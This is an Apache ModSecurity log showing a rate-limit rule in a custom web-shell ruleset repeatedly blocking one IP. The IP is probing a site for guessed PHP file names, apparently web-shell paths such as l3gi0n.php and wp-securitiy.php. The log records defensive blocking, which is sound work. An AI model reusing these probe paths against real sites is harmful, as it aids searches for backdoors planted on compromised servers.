[Sat Dec 13 00:10:07.794648 2025] [:error] [pid 60649:tid 60657] [client 4.193.186.94:3668] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aTw-X1OcUGKU3sgfHP8j5QAAAQU"]
[Sat Dec 13 00:10:07.989595 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:3350] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kdgok.php"] [unique_id "aTw-X5dhcAPU617AKTDGygAAAIA"]
[Sat Dec 13 00:10:08.163407 2025] [:error] [pid 26521:tid 26587] [client 4.193.186.94:3716] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aTw-YJdhcAPU617AKTDGywAAAIg"]
[Sat Dec 13 00:10:08.339660 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:3368] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aTw-YJdhcAPU617AKTDGzAAAAJA"]
[Sat Dec 13 00:10:08.517001 2025] [:error] [pid 26519:tid 26529] [client 4.193.186.94:3849] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aTw-YM8TRgSGOeWqEhcW2QAAAAY"]
[Sat Dec 13 00:10:08.740925 2025] [:error] [pid 55760:tid 55773] [client 4.193.186.94:3379] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "aTw-YFObDQlftFDyGaxIRQAAAYs"]
[Sat Dec 13 00:10:08.919564 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:3846] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aTw-YJdhcAPU617AKTDGzQAAAIs"]
[Sat Dec 13 00:10:09.111594 2025] [:error] [pid 26519:tid 26528] [client 4.193.186.94:3382] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aTw-Yc8TRgSGOeWqEhcW2gAAAAU"]
[Sat Dec 13 00:10:09.286758 2025] [:error] [pid 26607:tid 26618] [client 4.193.186.94:3670] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aTw-Ycb_b0tOEWTL2KnIAgAAAMk"]
[Sat Dec 13 00:10:09.485956 2025] [:error] [pid 55760:tid 55772] [client 4.193.186.94:3339] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aTw-YVObDQlftFDyGaxIRgAAAYo"]
[Sat Dec 13 00:10:09.660384 2025] [:error] [pid 27950:tid 27956] [client 4.193.186.94:3343] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aTw-YYVLRvkrdsSc1F3O1QAAAUQ"]
[Sat Dec 13 00:10:09.858192 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:3677] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aTw-YZdhcAPU617AKTDGzgAAAI0"]
[Sat Dec 13 00:10:10.032254 2025] [:error] [pid 26607:tid 26627] [client 4.193.186.94:3888] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aTw-Ysb_b0tOEWTL2KnIAwAAANI"]
[Sat Dec 13 00:10:10.207493 2025] [:error] [pid 27950:tid 27955] [client 4.193.186.94:3369] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid-file.php"] [unique_id "aTw-YoVLRvkrdsSc1F3O1gAAAUM"]
[Sat Dec 13 00:10:10.384484 2025] [:error] [pid 27950:tid 27960] [client 4.193.186.94:3380] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aTw-YoVLRvkrdsSc1F3O1wAAAUg"]
[Sat Dec 13 00:10:10.575135 2025] [:error] [pid 27950:tid 27970] [client 4.193.186.94:3901] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aTw-YoVLRvkrdsSc1F3O2AAAAVI"]
[Sat Dec 13 00:10:10.750317 2025] [:error] [pid 27950:tid 27973] [client 4.193.186.94:3842] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aTw-YoVLRvkrdsSc1F3O2QAAAVU"]
[Sat Dec 13 00:10:10.940632 2025] [:error] [pid 26519:tid 26524] [client 4.193.186.94:3340] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aTw-Ys8TRgSGOeWqEhcW2wAAAAE"]
[Sat Dec 13 00:10:11.116956 2025] [:error] [pid 55760:tid 55766] [client 4.193.186.94:3843] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "aTw-Y1ObDQlftFDyGaxISAAAAYQ"]
[Sat Dec 13 00:10:11.291494 2025] [:error] [pid 26519:tid 26532] [client 4.193.186.94:3903] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "aTw-Y88TRgSGOeWqEhcW3AAAAAk"]
[Sat Dec 13 00:10:11.479316 2025] [:error] [pid 26519:tid 26537] [client 4.193.186.94:3696] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "aTw-Y88TRgSGOeWqEhcW3QAAAA4"]
[Sat Dec 13 00:10:11.655128 2025] [:error] [pid 26521:tid 26580] [client 4.193.186.94:3847] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "aTw-Y5dhcAPU617AKTDGzwAAAIE"]
[Sat Dec 13 00:10:11.830535 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:3388] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aTw-Y5dhcAPU617AKTDG0AAAAI4"]
[Sat Dec 13 00:10:12.005589 2025] [:error] [pid 27950:tid 27967] [client 4.193.186.94:3899] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aTw-ZIVLRvkrdsSc1F3O2gAAAU8"]
[Sat Dec 13 00:10:12.187783 2025] [:error] [pid 26519:tid 26526] [client 4.193.186.94:3855] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aTw-ZM8TRgSGOeWqEhcW3gAAAAM"]
[Sat Dec 13 00:10:12.368343 2025] [:error] [pid 27950:tid 27971] [client 4.193.186.94:3698] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "aTw-ZIVLRvkrdsSc1F3O2wAAAVM"]
[Sat Dec 13 00:10:12.543256 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:3879] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aTw-ZJdhcAPU617AKTDG0wAAAJQ"]
[Sat Dec 13 00:10:12.718608 2025] [:error] [pid 26521:tid 26598] [client 4.193.186.94:3858] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aTw-ZJdhcAPU617AKTDG1AAAAJM"]
[Sat Dec 13 00:10:12.910725 2025] [:error] [pid 27950:tid 27974] [client 4.193.186.94:3360] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aTw-ZIVLRvkrdsSc1F3O3AAAAVY"]
[Sat Dec 13 00:10:13.118389 2025] [:error] [pid 26519:tid 26533] [client 4.193.186.94:3344] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aTw-Zc8TRgSGOeWqEhcW3wAAAAo"]
[Sat Dec 13 00:10:13.318913 2025] [:error] [pid 26519:tid 26543] [client 4.193.186.94:3649] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aTw-Zc8TRgSGOeWqEhcW4AAAABQ"]
[Sat Dec 13 00:10:13.493108 2025] [:error] [pid 60649:tid 60661] [client 4.193.186.94:3700] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aTw-ZVOcUGKU3sgfHP8j9AAAAQk"]
[Sat Dec 13 00:10:13.715756 2025] [:error] [pid 26519:tid 26545] [client 4.193.186.94:3361] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aTw-Zc8TRgSGOeWqEhcW4QAAABY"]
[Sat Dec 13 00:10:13.890745 2025] [:error] [pid 55760:tid 55765] [client 4.193.186.94:3700] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Contrller.php"] [unique_id "aTw-ZVObDQlftFDyGaxISgAAAYM"]
[Sat Dec 13 00:10:14.092823 2025] [:error] [pid 55760:tid 55767] [client 4.193.186.94:3862] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aTw-ZlObDQlftFDyGaxITAAAAYU"]
[Sat Dec 13 00:10:14.266988 2025] [:error] [pid 26521:tid 26591] [client 4.193.186.94:3841] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aTw-ZpdhcAPU617AKTDG1QAAAIw"]
[Sat Dec 13 00:10:14.453008 2025] [:error] [pid 26521:tid 26583] [client 4.193.186.94:3878] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aTw-ZpdhcAPU617AKTDG1gAAAIQ"]
[Sat Dec 13 00:10:14.634206 2025] [:error] [pid 55760:tid 55782] [client 4.193.186.94:3859] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aTw-ZlObDQlftFDyGaxITgAAAZQ"]
[Sat Dec 13 00:10:14.815007 2025] [:error] [pid 26521:tid 26582] [client 4.193.186.94:3852] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "aTw-ZpdhcAPU617AKTDG2AAAAIM"]
[Sat Dec 13 00:10:14.999479 2025] [:error] [pid 26521:tid 26585] [client 4.193.186.94:3330] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "aTw-ZpdhcAPU617AKTDG2QAAAIY"]
[Sat Dec 13 00:10:15.188654 2025] [:error] [pid 26520:tid 26574] [client 4.193.186.94:3732] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "aTw-Z0G_frlY5vNXu_AhqgAAAFY"]
[Sat Dec 13 00:10:15.379181 2025] [:error] [pid 26519:tid 26525] [client 4.193.186.94:3389] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "aTw-Z88TRgSGOeWqEhcW4wAAAAI"]
[Sat Dec 13 00:10:15.569506 2025] [:error] [pid 55760:tid 55763] [client 4.193.186.94:3871] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aTw-Z1ObDQlftFDyGaxIUAAAAYE"]
[Sat Dec 13 00:10:15.744141 2025] [:error] [pid 27950:tid 27976] [client 4.193.186.94:3656] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aTw-Z4VLRvkrdsSc1F3O5AAAAVg"]
[Sat Dec 13 00:10:15.918459 2025] [:error] [pid 55760:tid 55786] [client 4.193.186.94:3851] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aTw-Z1ObDQlftFDyGaxIUgAAAZg"]
[Sat Dec 13 00:10:16.094936 2025] [:error] [pid 60649:tid 60658] [client 4.193.186.94:3900] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inghl.php"] [unique_id "aTw-aFOcUGKU3sgfHP8j9wAAAQY"]
[Sat Dec 13 00:10:16.269920 2025] [:error] [pid 60649:tid 60675] [client 4.193.186.94:3866] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aTw-aFOcUGKU3sgfHP8j-AAAARc"]
[Sat Dec 13 00:10:16.448059 2025] [:error] [pid 60649:tid 60672] [client 4.193.186.94:3359] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aTw-aFOcUGKU3sgfHP8j-QAAARQ"]
[Sat Dec 13 00:10:16.627225 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:3652] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aTw-aFObDQlftFDyGaxIVAAAAYc"]
[Sat Dec 13 00:10:16.807418 2025] [:error] [pid 26519:tid 26540] [client 4.193.186.94:3375] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-securitiy.php"] [unique_id "aTw-aM8TRgSGOeWqEhcW5AAAABE"]
[Sat Dec 13 00:10:16.996328 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:3662] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTw-aJdhcAPU617AKTDG3AAAAJU"]
[Sat Dec 13 00:10:17.172707 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:3678] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTw-aZdhcAPU617AKTDG3QAAAIs"]
[Sat Dec 13 00:10:17.347321 2025] [:error] [pid 27950:tid 27961] [client 4.193.186.94:3650] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTw-aYVLRvkrdsSc1F3O6AAAAUk"]
[Sat Dec 13 00:10:17.527508 2025] [:error] [pid 27950:tid 27954] [client 4.193.186.94:3378] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTw-aYVLRvkrdsSc1F3O6gAAAUI"]
[Sat Dec 13 00:10:17.704245 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:3897] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aTw-aZdhcAPU617AKTDG3wAAAI4"]
[Sat Dec 13 00:10:17.916619 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:3363] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aTw-ac8TRgSGOeWqEhcW5QAAAAQ"]
